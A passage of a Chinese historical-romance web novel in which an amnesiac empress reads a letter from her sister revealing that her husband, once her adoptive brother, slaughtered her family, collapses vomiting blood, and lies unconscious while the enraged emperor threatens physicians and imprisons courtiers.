“等会我还要去太后宫中请安,不必麻烦了。我就靠在椅上歇一歇就行了,你也下去吧。”
佩芝再无异议,应了声遂退下了。
退下之前,她还提醒了媜珠一声:“陛下令王医丞为娘娘拟的坐胎药的方子,婢已命人去熬煮了,等会趁热端来给娘娘服下。”
媜珠嗯了下,再没有其他的表示。
待内殿里其余人等全都退下后,媜珠深深呼出一口气,这才从袖中取出那个纸团。
其实,在打开这个纸团之前,她以为自己大概能猜到这纸沓樰獨家諍裡团上写的会是什么东西的。
——无外乎就是冯氏母子心中仍不甘心颍川公主母子没有得到责罚,用这样的方式向她悄悄再告一次颍川公主的状,哭着闹着哀求着让她惩治颍川公主的儿子罢了。
她以为这只是一些家中琐事,甚至她已经开始有些头疼地思索着,如果冯氏母子真的是来告状的,她该如何公允地给她一个答复,这个答复能够让所有人都满意。
但是,当那个纸团被她托在掌中慢慢打开时,她只觉得她的灵魂都被人从虚空之中狠狠刺中了一刀。
一下便让她彻底现出了原形。
*
这里头装的不是别的东西,而是一封她的二姐姐周婈珠从数千里之外的岭南给她写来的家信。
姐姐,亲姐姐,家信。
是这么多年来,她收到的第一封家信。
因为纸张不大,虽然周婈珠已经尽可能将字写得很小了,但最终留下的笔墨还是并不多。
里面每一个字媜珠都是认识的,但不知为何,她极缓慢地读过每一句话,每一句话都花费了她很长很长的时间来理解。
二姐姐说,她不是“赵皇后”,不是赵家的女儿,而是俪阳公主之子先冀州侯周鼎的亲生女儿,周媜珠。——这一点,媜珠大概是知道的。
二姐姐又说,她从前真正深爱过、想嫁过的男人,不是她的兄长周奉疆,而是河间王张道恭,如今大楚的建德皇帝。——这也是媜珠之前就猜到的。
可是,二姐姐又告诉她说,父亲周鼎在世时最疼爱她这个嫡女,而父亲死后,偌大一个周家被人害得血脉凋零几近覆宗绝嗣,皆是她如今的丈夫周奉疆所为。
“禽兽之行,无外乎此;宗族衰微,只因其人。”
“屠其父之子嗣,淫其王之妻室,灭天下人伦,毁礼义纲纪,世所罕见,天地难容,人神嗟愤!”
在周婈珠的言语里,周奉疆被描绘得比媜珠想象中的还要恐怖。
她说,当年她们的父亲周鼎刚死不久,尸骨未寒,甚至还未下葬,周奉疆就靠着手下的精锐亲卫们兵变谋叛,竟然在父亲的灵柩之前杀了她的几位亲兄长,让兄长们的鲜血淋漓溅于父亲的棺木上。
他不止杀了她们的亲兄长们,他还杀了祖母俪阳公主的其他儿子、她们的叔父们,还有她们的堂兄弟、周家族中其他不屈从于他的那些子侄兄弟们。
在他的残暴如牲畜一般的行径之下,只是短短两三日间,这个雄踞于冀州上百年的庞大家族,几近瞬间灰飞烟灭,家破人亡。
尸骸遍地,血流成河,仇怨满于山河,嚎哭动于天地。
谁也没有想到,被周家几代家主经营得如铁桶一般坚固的冀州城,生存在这铁桶城池之内的周氏族人,没有因为城破被外人攻入而战死,最终竟然是死在了自己人的手里。
而且还是死在了一个从前根本没有人瞧得起的、一个娼妓之子、被视为周家家奴的人手里。
周婈珠继而又反问她说,妹妹,如今你居于皇后之尊,享天下最尊贵之奉养,夜夜相伴于仇人身侧,这滋味究竟如何呢?
“汝,为贼所取,贮于金屋;交颈鸳鸯,恩爱床帷。已知有富贵,不知思家恨。”
她还对媜珠说,周媜珠,咱们父亲的亡魂日日夜夜都在看着你,你兄弟、叔父、族人的亡魂,也都在天上盯着你。
你每一次承欢侍寝,你每一个在仇人面前的娇媚姿态,我们周家所有人都在看着。
活着的人在心里看着,死了的人在天上看着,在阴司地府里盯着你。
你的皇后之位,到底是怎么来的,你究竟能不能心安?
哪怕你真的心安理得,活着的时候也顶多让你再尊荣显贵五十年,死了,回到父亲和兄弟族人的面前,看你又该如何自处!
还有,不仅是你周氏一族的族人在看着你,你原本的丈夫,你的君王,建德皇帝也在看着你。
建德皇帝曾经以皇子亲王之尊许你来日夫妻相守的情意,甚至还认为你应当有皇后国母的忠贞德行,然而你却只知侍奉逆臣国贼。
你对不起建德皇帝。
周媜珠,纵使恶稔罪盈天地不容的那个人是周奉疆,可你也不是什么好东西。
你做了他的女人,他的皇后,你就已经变得和他一模一样了。
天下人的眼睛都和明镜一般,你自以为自己是赵皇后,难道人家就猜不到你是周三娘么?
只是暂时无人敢说而已。
哪怕暂时无人敢说,史书工笔,丹青纸墨,史官文人提笔之时,该如何记述你的一生,你自当心知肚明。
在你之前,世人以妺喜褒姒飞燕合德之流为祸国的灾星,在你之后,世人不言褒姒妺喜,只知言周媜珠。
贾后杨妃即便无德,可她们尚且知手足之亲,她们对自己的族人都还是好的,而你呢?
你厚颜无耻到连自己的亲人都不顾了!
我今时今日想办法将这封信送到你的手里,不是为了续什么手足姐妹之情,也不是卑躬屈膝地向你这个皇后讨要什么。
我就是要告诉你,你到底是个什么玩意。
媜珠的心脏剧烈绞痛起来,她浑身发软,一下子从美人榻上摔倒了下来,所幸地上铺陈着厚厚的狐皮地毯,她摔倒的动静暂时还没有引得外头宫娥们的主意。
“哇”地一下,她指尖发颤地捂住自己的心口,生生呕出一滩血来。
那滩血的颜色,红到几乎让人觉得凄厉,像是什么动物被人宰杀后流出来的血。
可媜珠犹嫌不够,她恨不得把自己的五脏六腑都呕出来才好,呕出来给所有人都看一看,她的心肝是不是黑的,她是不是没有心肝的人。
不是的,她不是二姐姐信中所写的那样的人,她是无辜的,她也是被人逼迫的,她活得也很痛苦,她也不想这样。
周婈珠口口声声的指责,她笔下写出的每一个字,都让媜珠的心如被刺了一刀一般。
媜珠瘫软着跪伏在地上,只觉得自己心脏剧烈跳动到快要破裂,头颅中的每一滴血液、每一块肉,也都在猛烈颤抖抽痛。
她眼前一片昏黑,顷刻之间有无数破碎的片段和画面涌入了她的记忆里。
她的人生仿佛在这一刻才开始慢慢地变得完整。
还有许多许多的人,他们的容颜、他们到底是谁,也在她脑海中变得清晰。
——先冀州侯周鼎,她的父亲,那是一个极有谋略军功、威仪严肃的男人。
——赵太后,从前冀州侯的嫡妻赵夫人,不是她的姑母、婆婆,而是她的亲生母亲。
——她死去的那些兄长们,周奉鸣,奉易,奉深,奉代……
还有她的那些姐妹,她父亲从前的姬妾,她的叔父叔母们,堂姐妹堂兄弟们……
以及二姐姐周婈珠和河间王张道恭。
每个人的面孔,都是那样的清晰,仿佛他们都活生生地仍然存于这世上一般。
可媜珠内心十分绝望地清楚认识到,他们中间的十之八九,都已经永远地离开了她。
该想起来的,媜珠在这一天全都回忆起来了。
她想起了她这一生中经历过的两任帝王的所有事情。
忆君王,泣泪声声不忍闻,人断肠。
是已为前楚亡国之君的张道恭,也有如今大魏的开国皇帝的周奉疆。
前者曾经是她的未婚夫,后者曾经是她的兄长。
而她如今的丈夫,和她之间根本没有什么花前月下的情深义重、海誓山盟的千金之诺。
她那个所谓对她疼爱有加的丈夫,实则是曾经对她强取豪夺的兄长。
他从来都不是披着羊皮的狼,他是彻头彻尾的狼子野心,虎狼心性,只恨她当年没有早早看透他的真面目而已。
媜珠无力地垂眸,看到地上自己呕出的一滩鲜血,那一大片一大片的红色实在太过刺目,她猛然想起她上一次见到这么多的血,是在什么时候。
——就是在周奉疆当年兵变夺权的那一日。
她父亲丧仪的那天。
她为父亲的突然病故而伤心不已,身着白衣孝服,日日跪在父亲的灵位前哭到几欲绝望昏厥。
有一天晚上,母亲对她说,她这些时日在她父亲跟前尽孝尽的也足够了,不能再把身子累坏了,明日早上就别去了,且先歇一天吧。
媜珠晚上虽然答应了,但是第二日早晨仍是觉得不妥,早晨起身后还是又往父亲的灵堂前赶去。
那天的冀州侯府内充斥着一股别样压抑恐怖的氛围,表面上看起来虽然平静,但给人的感觉不过是山雨欲来前最后的安宁而已。
果不其然,当她赶到父亲灵堂前时,只见那院子已经被身着甲胄的亲卫所把持,那些人拦着她不准她进去,媜珠勃然大怒,怒斥他们竟敢拦着她!
亲卫们虽然手持长刀,但是似乎不敢伤她,于是她趁着这些人犹豫之间,立刻冲了进去。
然后她就猝不及防地看见了她此生见过的最惨烈的景象。
是周奉疆,他手持着一把陌刀,利落干脆地砍掉了她庶长兄周奉鸣的头颅……
长兄的身体一下摔倒在了地上,失去头颅的尸体直接砸在了灵堂中央父亲周鼎的棺椁上。
而长兄的头颅,顺着周奉疆陌刀砍去的力道飞了出去,飞到了门外,滚落了台阶,然后咕噜咕噜一直滚到了媜珠的脚下。
她崩溃地跪倒在地,雪白的孝服上很快就被亲兄长的鲜血沁染,她的双手也沾染上了一片黏稠的血。
那是地狱么?
直到如今,媜珠仍然在思考这个问题。
想到那里,她哇地一下又呕出了一滩血。
此刻这动静终于让外间的宫娥们察觉到了些许不对劲了,有人开始试探着唤了两声“娘娘”。
媜珠觉得自己的头颅越来越痛,痛到她几乎再也无法承受。
她用尽身体的最后一点力气,将二姐姐的信塞在了离她手边最近的一块狐皮地毯的缝隙里,小心地藏好了起来。
第39章
等到宫娥们匆匆进入内殿查看皇后的情况后,无不倒吸了一口冷气,险些被眼前的场景吓得话都要说不出来。
只见明明方才还好好的皇后,不过是片刻的光景,她忽然就跌倒在地,整个人都像是已经失去了意识一般。
她如云鬓发间的珠钗凤簪摔落在地上,如一朵跌落枝头的花,凋零了一地的花瓣。
更恐怖的是,皇后似是突发了恶疾,她还吐了血,地上那一大滩的鲜红血痕,看得她们都心惊胆战的。
她就跌倒在那一大片的血色里,脸色惨白如纸,如同已没了生的气息。
在那一刻,所有人心中下意识冒出来的第一想法便是——如果皇后真的出了什么事,陛下震怒之下,椒房殿内外的宫人被迁怒而仗杀,流出来的血绝对要比这多出千百倍。
即便血流成河,也不足以平皇帝一怒。
所有侍奉过皇后的人,都会因此付出代价。
而且,皇后都已经这样了,哪怕她还没出事,他们这群人十之八九也少不了陛下的一顿责罚,至少肯定要担一个“侍奉不力”的罪名。
还是为首的一个大宫女先反应了过来,立刻扬声命人一面去太医署请王医丞等人过来,一面叫人赶紧去把佩芝姑姑叫来。
佩芝彼时正在膳房里看着媜珠的那碗坐胎药,听到底下的小宫娥们如失了魂一般火急火燎地来寻她,她急忙也跑去了媜珠跟前,见到媜珠那副情状,连她的天也一块塌了。
她着急遣人去请皇帝来,又高声呵斥那些宫娥:“还不快先把娘娘扶到里边的榻上去!”
扶起媜珠时,连佩芝都忍不住先悄悄探了探她的鼻息,探到媜珠气息尚存,她才先小松了一口气。
就连她都是此等心情,更不必说为何那些小宫娥们会惊慌至此了。
媜珠这一次出事可远比她上次在宣室殿内昏倒还严重得多,上次至少皇帝他们还知道事出有因,这次他们却什么都不知道。
对于所有人来说,这都是一场突如其来的晴天霹雳。
正在宣室殿内处理军务的皇帝听到此事时,自然也是同样神色慌乱地放下手头所有事务,步履匆匆地赶回了椒房殿去看媜珠。
当时,他正在批阅着一份交州司马韩孝直从岭南送回的奏报。
韩孝直向他请罪称,近来张道恭所据的龙编县一带江水中有冬汛迅疾,魏军不好渡河直攻,所以迟迟不见进展,只待此时冬汛一止,江水和缓,他已做好了渡河的准备,必要渡河强攻,生擒张道恭其人,灭南楚残部。
自然了,和皇帝汇报自己在外头的作为,哪怕自己有错漏之处,不得不向皇帝承认自己的疏漏,那你也不能光知道认罪,当然还是要在皇帝面前给自己说些好话的。
韩孝直又啰啰嗦嗦地说了一些,说他在岭南之地也并不是毫无建树,他在此地多“弘宣圣德”,让岭南僚人百姓悉知陛下乃圣明之君,让黎庶皆心悦诚服地归顺陛下的治下云云。
尤其,他还提到了他弟弟韩孝民的功绩,说他弟弟韩孝民在其中也颇为费心,和当地土著僚人混成一片,多向他们宣扬我们大魏皇帝陛下的功绩。
周奉疆正欲提笔批复他,但这会儿都没心思管了。
等皇帝赶到宣室殿时,媜珠已被宫娥们扶到榻上躺下了,她脸颊上沾染的血痕也被人小心地拭去,那巾帕搁在水盆里,将一盆水都染红了。
佩芝怕皇帝看见了不高兴,立刻叫人端下去收拾了。
以王医丞为首的医官们在皇帝之前更快赶到,这会儿一群人诚惶诚恐地躲在屏风后,七嘴八舌地小心议论着什么,大约在讨论皇后的病情,几个人想要把舌头捋成一根,商量着等会如何回皇帝的话、如何斟酌着给皇后娘娘用药等。
只是很不巧,他们正在这盘算的当口,恰巧叫匆匆步入内殿的皇帝看见了。
周奉疆本就心情不快,这会儿见他们这出模样更是暴怒,上去便一脚踹翻了那屏风,厉声呵斥道:
“一帮无能的贱奴,皇后都这个样子了,你们不侍奉在皇后跟前,躲在这里做什么?若是怕医不好皇后被朕责罚,朕现在就遂了你们的愿,把你们通通拖出去乱棍打死!”
几个医者本就害怕至极,又被皇帝怒责,连膝盖都直不起来,真是一面磕头请罪一面连滚带爬地又爬回皇后的病榻前,再细细地给皇后切第二遍脉。
周奉疆撩起袍摆在媜珠榻边坐下,凝视着媜珠那虚弱得气若游丝的模样,简直像是在看一朵在风雨中被摧残得凋谢了的娇花,心疼至极却又无力至极。
他这辈子真正心疼过的人,除了媜珠之外,就只有他的生母。
而在很久之前,他已用十箱黄金作为偿还,把那个生他的女人剔除出了他的生命之外。
那个女人从此之后和他无关,她不曾在乎他的人生,而她的生活也和他毫无瓜葛。
如今他唯一在乎的、心疼的,就只有媜珠。
媜珠的一切都和他有关,媜珠属于他,她的一切伤痛,远比伤在他自己身上更让他痛心。
她是他的啊。
几个医官轮番给媜珠切过了脉,在皇帝不耐烦的焦躁等待之中,王医丞终于在皇帝再度发怒之前颤颤巍巍地上前给了皇帝一个答复。
而他给出的解释是:“娘娘此番惊病,并非是饮食上的疏漏,也非寝居之间受了风寒着凉之类的,更非白日里操持宫中琐事受了劳累……呃,臣、臣等窃以为,娘娘这次似乎,似乎——似乎还是受了什么刺激,惊恸五脏,伤及肺腑,所以呕血而昏迷。”
是受了刺激,而且是“还”。
王医丞的这番话,倒是叫宫内上上下下不知多少宫娥太监们的心都落回肚子里一半了。
——因为如果娘娘的病不在饮食起居上的话,那就和他们这些给娘娘煲汤的、熬药的、伺候她洗漱沐浴的人,没什么关系了。
她是受了刺激啊。
去年她在宣室殿内昏迷,就是听到了皇帝和穆王夫妻说的话,因此而昏迷的。
但上一次,皇帝至少知道是什么刺激到了她,这一次他却毫无头绪,连发生了什么都不明白。
周奉疆听闻这话,还是先斥问王医丞:
“你几个脑袋敢和朕说似乎?皇后乃中宫国母,万金之躯,你敢对她的病说似乎?还有你们!你们一群六七品的太医署小吏,朕照着三四品的俸禄养着你们一群人,金银粮帛赏下去了,养出来的就是一堆酒囊饭袋?来人,去把朕养在兽苑里的那只海东青牵来,这鹘鹰最喜吃鸡鸭碎肉,把这群无能的畜生给朕——”
哪怕做了皇帝,他还是改不了从前行伍出身的做派,将他养父周鼎的那些暴虐性情继续发扬光大了下来。
从前周鼎在自己的冀州大本营里处置手下的人,大多都这样残暴,说打就打说杀就杀,而周奉疆则将此融会贯通、创继往开来之伟业。
王医丞这会儿被吓得几乎都快失禁了,他连连叩首,赶紧认错:
“不不不,不是似乎,陛下,不是似乎,臣敢笃定,娘娘绝对是受了什么刺激才会突然如此的,娘娘的饮食起居上都没有问题,这病症绝对是从外头来的。”
其实,大部分情况下,皇帝并不擅长这样的“医闹”。
王医丞还是七八年前就跟在他侍奉的军医,常跟随皇帝征战在外,为皇帝包扎处理伤口。
以前,他素来觉得侍奉这位主子实则十分轻松,并没有什么难处,甚至还时常感念周奉疆待他的这份恩德,誓要一生好好侍奉他。
因为过去在王医丞服侍皇帝的时候,皇帝就对他的要求很宽松,他唯一只要求两点,第一就是别把他治死了,还有就是别动不动就出馊主意,别一看他受了伤就说要给他断手断脚的。
其他的情况下,随便王医丞如何开药、处理伤口,他都并无异议,也不会对他指手画脚。
有一次皇帝的肩上中了流矢,王医丞将那箭矢拔了下来,开了药熬成药膏给皇帝敷在伤口处,然后又给皇帝包扎好伤口,说是只等伤口结痂就好了。
结果一连数日过去,皇帝肩膀上的伤处不仅不见好,竟然还溃烂得更加严重。
王医丞便犹豫着出主意说,兴许是有箭矢碎裂的残渣留在了血肉之中,没有被清理干净,可能需要替皇帝刮去肩上那一片的血肉,仔细看看里头是不是还有什么东西没剔除出来。
皇帝想也不想便答应下来,解衣而坐,露出精壮健硕的上身,连眉头都没皱半下,任由王医丞拿着尖刀快把他肩头一块的肉给挖干净了、都挖到骨头处了,也没挖出什么东西。
事后王医丞才发觉,原来是他自己的徒弟拿着药方去给皇帝抓药熬煮药膏的时候抓错了一味药,药性相克,这才导致皇帝伤口溃烂。
彼时他素知冀州节度使周奉疆在战场上的的暴虐凶残,去给他请罪时都做好了被他拖出中军帐当场打死的心了。
谁知周奉疆听闻此事后只是哈哈大笑,说:
“原来有教会徒弟饿死师傅的,如今也有徒弟无能害死师傅的。先生不必内疚,先生侍奉我年久,难得有一次纰漏而已,并非大过,往后我还指望先生多在我身边伺候,何必请罪,日后不再犯便是。”
王医丞那时候感动得叫一个热泪盈眶啊,他给友人写信时还说,我主公宽忍大度之心,世所罕见。外人不知内情,皆言我主公暴虐无道,如今在我看来,以我主公之心,天下非为他所取不可!
后来,这位主公果然登基称帝了。
主公又对他说,先生医术高明,现下我立国之初,医署空置,想聘请先生为医丞,留在宫内侍奉我最心爱的妻子,我的皇后。
王医丞那时更为感动了。
一则他心想,伺候一个久在深宫的女人有什么难处?
不就是伺候她怀孕生孩子期间的那点事,给她开点补身子的方子罢了。皇帝这明明是重用我、奖赏我从前随军伺候他的辛苦啊。
二则他又想,我主公果真重情重义,将柔弱的爱妻宠如掌珠、这种又不纳妾室不好色的男人,再坏能坏到哪里去?
……
——然后,他和他的同僚们,在皇帝嘴里就变成现下这番模样了。
每逢皇后有什么大病小痛,他们都要被皇帝发明一些新词来痛骂一顿。
一开始阴阳怪气他们“还不如江湖郎中”,第二次是“庸医”,后来是“无能”,之后是“废物”,现在是“酒囊饭袋”,还要威胁着把他们剁碎了喂鹰。
恐怕再过几次,他真的会把他们拖出去仗责的。
他从没想过,从前那样的一个男人,原来为了自己心爱的女人,可以变成这等模样。
男人啊,真是谁也敌不过温柔乡。
得到王医丞如此斩钉截铁的回复,皇帝的脸色稍霁,不过转瞬他就又怀疑起了他,问一旁的佩芝说:
“皇后的病真不是饮食起居上来的?她今日是第一次吃那坐胎药,不会就是这药害的吧?”
矛头又指向开坐胎药的王医丞,王医丞实在是又气又怕,恨不得当场死在这里才算解脱。
还好佩芝及时替王医丞解释了:“陛下,娘娘出事的时候还没来得及吃过那汤药。”
皇帝这才嗯了一声,又问王医丞:
“那你说,皇后现在这样子该如何?难道就让她一直这么昏着?她这病要不要紧?会不会伤及以后、落下病根?她吐了那么大一滩血,这身子必是受不住的,如何把她的气血补回来?如何让她快点醒来?”
王医丞赶紧答道:
“若是以后不再受这样的刺激,慢慢精细将养着,不会有什么大妨碍的。臣现在就去给娘娘拟方子,仍旧是给娘娘喂药、施针,唤娘娘神智慢慢清醒。臣再配一些补膳的方子,叫娘娘在饮食上带着补一补,把元气补回来。”
他瞥了眼皇帝的神色,意味不明地又补充道:
“只要娘娘养得好,几日之内不再受刺激的话……少则半个月,多则三月之内,娘娘还是能照旧为陛下侍寝的,陛下不必担忧。不过子嗣上可能有些艰难了,那坐胎药也不宜再吃,还得等娘娘病好之后用。”
周奉疆刚平息下去一点的怒气又腾地上来了,他听着王医丞这话,总觉得这人在借机暗讽他好色重欲似的。
媜珠都这个样子了,他是畜生么他还想着把她拉到榻上去行房事?
皇帝拧起眉头要骂两句,但忍了忍还是什么都没说,只叫他们赶紧下去,该拟方子的拟方子,该熬药的熬药去。
打发走了这些医官们,只留下一个女医守在媜珠榻边看着,皇帝这才开始追究媜珠是为什么受了刺激,以及她受的到底是什么刺激。
佩芝声称皇后出事时是一人独处室内,周遭并无旁人伺候,宫娥们是在听到皇后呕血的声音时才进去的。
皇帝又问:“那在这之前呢?她见了什么人?说了什么话?”
佩芝垂首,声音也低了些:“别的也没什么异常之处,唯有今日,娘娘还牵挂颍川公主府的冯氏母子,是而召见了冯氏和她那失明的长子,很是心疼她长子韩柏的样子,还厚厚赏了冯氏母子。”
皇帝重重呼出一口气:“那就是冯氏母子在她跟前说了什么了?她受见了那小儿失明的样子,受了惊讶了?”
“这倒也没有。”佩芝回忆了下,十分肯定地对皇帝说,
“冯氏因她儿子的缘故,现在可是老实得不得了,一共也没开口对娘娘说几句话,都是娘娘问什么她才说什么。若说是心疼她儿子,娘娘是有些心疼,可见完冯氏后,娘娘还是好好的,还说去内殿里歇一歇,等会再去太后宫里请安呢。——后来娘娘就是在这时出的事。”
这下连皇帝也没辙了。
他只能命人再细细地查,将这几日接触过媜珠的所有人都再细查一遍,看看到底又是什么缘故。
佩芝安慰皇帝:“陛下别急,等娘娘醒来了,陛下亲自去问问娘娘,娘娘自会对陛下亲口说出的。”
皇帝很疲倦,他只能在心里想,但愿如此吧。
被媜珠吐出的血弄脏的那块狐皮地毯,很快被宫娥们拆卸下去处理了。
不过,在当时,宫娥们取走的也只是被弄脏的那一块,之后找来新的替换上。
所幸是媜珠慌乱之中藏着信纸的那块狐皮并未被弄脏,所以宫娥们为了省事,也没有掀开来仔细查看过。
这时候椒房殿内外依旧免不了人心惶惶,宫人也是人,他们心中畏惧,在主子看不见的地方,难免做事时有些心不在焉,也就免不了有些慌手慌脚。
——而谁也不曾想到的是,这一次他们等着媜珠醒来,居然是在足足十天之后。
在皇帝快要崩溃的最后一刻。
第40章
起先,医官们一再向皇帝保证说皇后并无大碍,只要静养静养,给娘娘施针后再喂服一些汤药,娘娘一定会很快醒来的。
皇帝虽然焦虑,可也只能姑且先信了他们的话,平日里还会照旧赴朝会、处理政务,然后他会将所有空闲的时间都用来陪伴媜珠,守在媜珠的床边,沉默地看着她,等着她醒来。
但是,当三天过去后,媜珠仍然不见丝毫起色,还是那样一动不动地昏睡在榻上时,皇帝的焦躁之情益盛,怒火也不断飙升,每日都要将那些医官们叫过来斥责数遍不止。
他也不再朝会,而是几乎整日寸步不离地守着媜珠,只有一些最重要最紧急的奏章被送到他面前时,他才会皱着眉头批阅一下。
他心情极差,待下更为严苛,整得宫内宫外人人自危,所有人都夹紧了尾巴屏住了呼吸,唯恐在这时节又惹了皇帝生气。
赵太后也跑过来嚎了两嗓子,一副哭天抹泪的架势:
“我好好的女儿交到你手里,不过三年五载之间,如何就这样大病小痛不断了!当日你又是怎么跟我赌咒发誓保证的,说要一辈子如珠似宝千金万金地对她好……”
周奉疆根本就没心思搭理她。
赵太后觉得没意思,于是抹了抹泪也就走了。
过了几日,她又跑过来哭,这次是哭皇帝不上朝的事。
她当然不是担心臣下们对皇帝这种荒唐的行为有所异议,反正不是她的亲儿子,他爱怎么折腾就怎么折腾,和她没什么干系。
只是,她气就气在她觉得皇帝是在咒她。
——国朝仪制,皇太后丧,帝辍朝五日。
太后这个年纪的人,已经自觉将自己视作老人来看待,当然是很忌讳这种事的,她心中越想越不痛快,越想越不高兴,于是又借机找了个由头到皇帝跟前闹一番,皇帝仍旧不理。
这时候他已经在媜珠跟前守了数日了,魂不守舍衣不解带地过了好几日,把他自己也折磨得神容颓唐憔悴,双眸布满赤红的血丝,看上去分外骇人。
恐怕赵太后和他说了些什么,他都没听入耳去。
赵太后撇了撇嘴,又自觉没意思地走了。
然而再过一两日,赵太后又来了。
这一次她是带着满腔的怒火来和皇帝告状的。
她说,这几日因为皇后昏迷不醒,外头有些狼心狗肺的蛇鼠之徒,竟然都打量着窃议皇后是不中用了,还隐隐议论说皇后的身子连今年入春都熬不到,眼看着是已经油尽灯枯了。
这起人各怀鬼心,甚至还欲暗中结成朋党,意欲推举扶持下一位新后入主椒房殿,哪怕选不上新后,也算计着要向皇帝的后宫里送几位昭仪美人。
——这可是一个崭新帝国的皇后之位,只要赵皇后一死,谁能再得到君王的宠幸,哪怕只是以末品更衣入侍,若能第一个生下小皇子,生下皇帝的第一子、本朝立国以来的第一位皇子,那都是一下贵不可及,翻身跃进龙门。
多大的利益诱惑啊,谁能忍住不为之动心?
这下可是真踩到赵太后的尾巴上了,把她气得头发都快竖起来。
在她眼里,以后的皇帝所娶的皇后出自何等世家,她可以不在乎,她也不奢求本朝皇后永远出自赵氏一族。
但是,在她活着的时候,除了她女儿,除了她那冠着赵氏女头衔的女儿,谁都不准再敢肖想皇后之位半分!日后的储君,也必须是她的亲孙子才行!
原先,赵太后虽然向皇帝过来告状了,但她依然没指望皇帝会做什么反应。
反正在她眼里,现在她这对“儿女”都跟活死人没什么两样了。
女儿昏迷不醒,养子也一下萎靡不振,反正都没什么用。
可令赵太后万万没有想到的是,情绪本就已处在崩溃边缘的皇帝,在听到这番话之后,所有压抑的怒火瞬间找到了一个发泄的出口。
他拧起剑眉,一甩袖摆从媜珠榻边起了身,阴沉着一张脸问太后:
“是谁在背后诅咒皇后?都有谁趁着皇后一病,在私下妄图后位?”
赵太后见皇帝这样子,忽然心下还突突跳了两下,眼看皇帝是要动真格的了,恐怕事情要闹大,她还犹豫了一下没开口。
皇帝脸色更沉,双眸似鹰隼般盯着赵太后:“太后是听到谁在背后议论了这些话?到底是谁?”
赵太后咬咬牙,将她听到的那些如实托出:“缮国公张用之家,平原侯府蔡山清,右龙武军副都统林允升——这林允升还是穆王妃林氏的族弟!还有……”
皇帝不等赵太后说完便怒喝宦官倪常善入内,指着倪常善道:
“你去速传朕的旨,将这些丧尽天良禽兽不如的猪狗畜生们全都给朕下了狱,家中子弟一概革职羁押永不复用,女眷诰命一应废去,等皇后几时醒了,朕再去料理他们是杀是剐!”
倪常善吓得大气也不敢喘,只有连声应下的份。
皇帝说罢,喘了几口粗气,复又补上一句:“谁若敢再有异议,一应视同谋逆论处,朕保证他们必会死在这些人前面!”
他从来都是这样的,只要脾气上来了,从来不管什么仁慈恩德,最喜欢用这种杀伐之事来解决问题,手段残暴果断,视人命如牲畜。
赵太后虽也有一点被吓到,觉得这些人纵使可恨也罪不至此,但她可不会像她的傻女儿一样,蠢到去给仇家说话,所以当下闭口再无异议,心满意足地准备走了。
而媜珠就是在这时发出了一点微弱的动静,在榻上挣扎着似是要醒来了。
所有人都以为媜珠是足足昏睡了十天,但只有媜珠自己知道,这十天以来,她的神智几乎一直都是清醒的。
她觉得自己的身体绵软得没有一丝力气,连睁开眼都做不到,但意识却无比的清晰,她像是陷在一场混沌的噩梦里,时而沉浸在过往的回忆里,时而又不得不面对着自己现今所面对的一切。
她浮在梦境中,被迫一次次重温着父亲丧仪上那天所发生的一切。
几乎蜿蜒成河流的血液,满地的尸骸残肢,恐怖如炼狱的场景……
死去的那些人,她的亲人们,他们全都七窍流血地向她走来,高声尖锐地向她嘶吼着索命。
她害怕极了,她在迷雾一般昏暗的梦境中不停地奔跑着逃离,她一遍遍哭着向他们解释,不是的,不是的,不是她杀了他们,她没有想要他们的命……
可是没有人愿意听她的解释,哥哥们说,你永远都和周奉疆站在一边,你已经委身于他,做了他的妇人,你和他一样该死,你和他一样都是我们周家的仇人。
还有她的叔父们。
幼时几位叔父叔母都很疼爱她,总喜欢将她抱在怀里玩耍。
梦境中,叔父们也如鬼影般紧紧纠缠着她,他们都在责骂她,说她是个下贱的淫妇,她罪该万死……
但是渐渐的,媜珠跑不动了。
她低头看了眼自己,发现自己穿着极其华丽繁复的皇后翟衣,广袖大带,层层叠叠,极尽精致奢靡之能;
她摸了摸自己的发,发现自己头顶上戴着重重的凤冠,华美的金步摇上镶嵌着宝石珍珠,随着她跑动的步伐不停摇晃。
她身上的一切,皆是压在她身上的沉沉的枷锁。
她被这华服绊倒在地,努力挣扎着也不能再从地上爬起来,只能眼睁睁地看着她的亲人们用诡异恐怖的姿态追魂索命一般朝她涌来,像是想要将她整个人生吞活剥了、啖尽她的每一寸血肉来泄愤……
不过,这些人最终没有机会碰到她的一片衣角。
因为有一个男人出现了。
是周奉疆。
他挡在她的身前,骑在高大骏马上,连那骏马也身披甲胄,威风凛凛,他手持长长的陌刀,一刀将那些追她的人砍成了碎片,然后俯身将她拉上了马背,带着她离开。
媜珠仰躺在马背上,惊慌失措地凝视着面前的这个男人,她不知道他要将她究竟带往何方。
又渐渐的,梦境中的场景再次悄然发生了变化。
她身下的马背变成了柔软的床铺,而那个男人俯身压了下来,剥去了她的衣衫。
梦中的她在心底疯狂尖叫着拒绝,可她无法发出丁点声音,只能任由那男人予取予求,而她的身体还下意识地迎合。
这场缠绵不知过去了多久,她看见他的神色变得餍足而满意,而她竟忽然想起了一个一直被她忽略的男人。
张道恭。
那个本该属于她丈夫的男人。
不,不,这一切怎么会变成这样?
和她缠绵与锦床绣被之间的人,怎么会是兄长?那应该是她丈夫才有资格做的事情。
为什么会是周奉疆?为什么他一定要对她做这种事?明明他可以有很多很多的女人,为什么偏偏不能放过她?
她从床上起了身,胡乱披了件衣服遮掩裸露的身体,赤足下榻,慌慌张张地寻找未婚夫张道恭的身影。
她又在黑暗中无助地跑了许久许久,终于听到有人柔声唤她的名字。
“媜媜。”
那人说,“到哥哥这里来。”
媜珠已对这个声音的主人惊恐之至,她回头,发现她的未婚夫,那个贵为河间王的男人,被人五花大绑,用极屈辱地姿势迫使他跪在地上。
而她的兄长身着帝王十二章纹绣衮服,一脚踩在他的脊背上,似笑非笑地欣赏着她的慌乱:
“媜媜,告诉哥哥,你是愿意留在哥哥身边,做哥哥的开国皇后,还是真的铁了心的要陪这种无能的男人去做亡国奴?”
媜珠久久一言未发。
她兄长又对她轻声发问:“有什么好犹豫的呢?你不已经是哥哥的女人了吗?告诉他,这些年里我们欢好过多少次?”
媜珠心脏剧烈跳动,嘭的一下,梦境碎裂。她清清楚楚地躺在了现实里。
她听到周围的一切动静。
周奉疆守在她床边的呼吸声,殿外宫人们轻手轻脚入内搁置物件的声音,甚至还有香炉里香料燃烧而缓缓飘出烟气的声音。
之后,她还听到了王医丞等人入内给她切脉施针的声音,听到了皇帝和他们在说话,又听到自己的母亲来过两三日,每次她都气得不行,滔滔不绝地对着周奉疆抱怨了一大堆。
但她始终没有醒来。
